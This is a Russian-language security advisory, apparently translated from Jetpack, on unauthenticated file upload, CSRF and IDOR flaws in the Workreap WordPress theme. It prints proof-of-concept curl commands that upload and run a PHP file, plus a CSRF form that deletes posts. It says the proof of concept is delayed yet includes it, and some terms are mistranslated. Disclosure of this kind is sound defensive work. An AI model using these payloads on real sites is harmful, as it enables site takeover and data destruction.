Множественные уязвимости в теме Workreap от Amentotech

Опубликовано: 2021-07-07

Недавно команда Jetpack обнаружила несколько зараженных файлов на одном из сайтов наших клиентов и быстро проследила источник заражения до темы Workreap от Amentotech. Мы начали расследование и обнаружили ряд уязвимых конечных точек AJAX в теме; наиболее серьезной из них была неаутентифицированная непроверенная уязвимость загрузки, которая потенциально могла привести к удаленному выполнению кода и полному захвату сайта.

Мы сообщили об уязвимостях команде Amentotech через программу Envato Helpful Hacker, и они оперативно устранили проблемы. 29 июня 2021 года вышла версия 2.2.2 темы, в которой исправлены найденные уязвимости.

TL;DR

Из-за серьезности уязвимостей мы настоятельно рекомендуем всем пользователям темы Workreap как можно скорее обновиться до версии 2.2.2 или новее.

Загрузите обновление с веб-сайта темы и установите его вручную или обновите автоматически с помощью плагина Envato market.

Подробности

Название темы: Workreap
URI темы: http://amentotech.com/projects/wpworkreap
Добавить Автора
URI автора: https://themeforest.net/user/amentotech/portfolio

Уязвимости

Из-за серьезности уязвимостей мы отложим публикацию подтверждения концепции и полного анализа, чтобы дать пользователям время для обновления.

Неаутентифицированная загрузка, приводящая к удаленному выполнению кода

Затронутые версии: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
КВЕ: КВЕ-284, КВЕ-641,
КВСС: 90,7
Ссылка WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Действия AJAX workreap_award_temp_file_uploader и workreap_temp_file_uploader не выполняли проверки одноразовых номеров и не подтверждали, что запрос исходит от допустимого пользователя каким-либо другим способом. Конечные точки позволяли загружать произвольные файлы в uploads/workreap-temp . Загруженные файлы не очищались и не проверялись, что позволяло посетителю, не прошедшему проверку подлинности, загружать исполняемый код, например php-скрипты.

Доказательство концепции

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Множественные уязвимости CSRF + IDOR

Затронутые версии: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
КЧСС: 78,3
Ссылка WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

В некоторых действиях AJAX, доступных в теме Workreap, отсутствовала защита от CSRF, а также допускались небезопасные прямые ссылки на объекты (IDOR), которые не были проверены. Это позволяет злоумышленнику обманом заставить вошедшего в систему пользователя отправить запрос POST на уязвимый сайт, потенциально изменяя или удаляя произвольные объекты на целевом сайте.

В версиях до 2.0.0 в этих действиях полностью отсутствовала аутентификация, и ими мог воспользоваться любой посетитель сайта.

Доказательство концепции

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Отсутствуют проверки авторизации в действиях AJAX

Затронутые версии: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
КЧСС: 68,5
Ссылка WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

В некоторых действиях AJAX, доступных в теме Workreap, отсутствовали проверки авторизации, чтобы убедиться, что пользователь имеет право выполнять критические операции, такие как изменение или удаление объектов. Это позволяло вошедшему в систему пользователю изменять или удалять объекты, принадлежащие другим пользователям на сайте.

В версиях до 2.0.0 эти действия полностью лишены аутентификации и могут быть использованы любым посетителем сайта.

Доказательство концепции

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

График

24 июня 2021 г.: Команда Jetpack Scan обнаружила уязвимость начальной загрузки, о чем было сообщено в программу Envato Helpful Hacker.
25.06.2021: Задокументированы обнаруженные дополнительные уязвимости, сообщил Amentotech через Envato.
27 июня 2021 г.: выпущена версия 2.2.1, в которой устранены некоторые, но не все уязвимости.
29 июня 2021 г.: выпущена версия 2.2.2, исправления проверены командой Jetpack Scan.

Вывод

Мы рекомендуем вам проверить текущую версию темы Workreap, которую вы используете на своем сайте, и, если она меньше 2.2.2, обновить ее как можно скорее!

В Jetpack мы прилагаем все усилия, чтобы ваши веб-сайты были защищены от уязвимостей такого типа. Чтобы быть на шаг впереди любых новых угроз, попробуйте Jetpack Scan, который включает сканирование безопасности и автоматическое удаление вредоносных программ.

Кредиты

Оригинальный исследователь: Харальд Эйлертсен

Спасибо остальной команде Jetpack Scan за отзывы, помощь и исправления. Также спасибо kailoon из программы Envato Helpful Hacker за помощь в обращении к Amentotech и Amentotech за оперативный ответ при решении проблем и выпуске обновленной версии.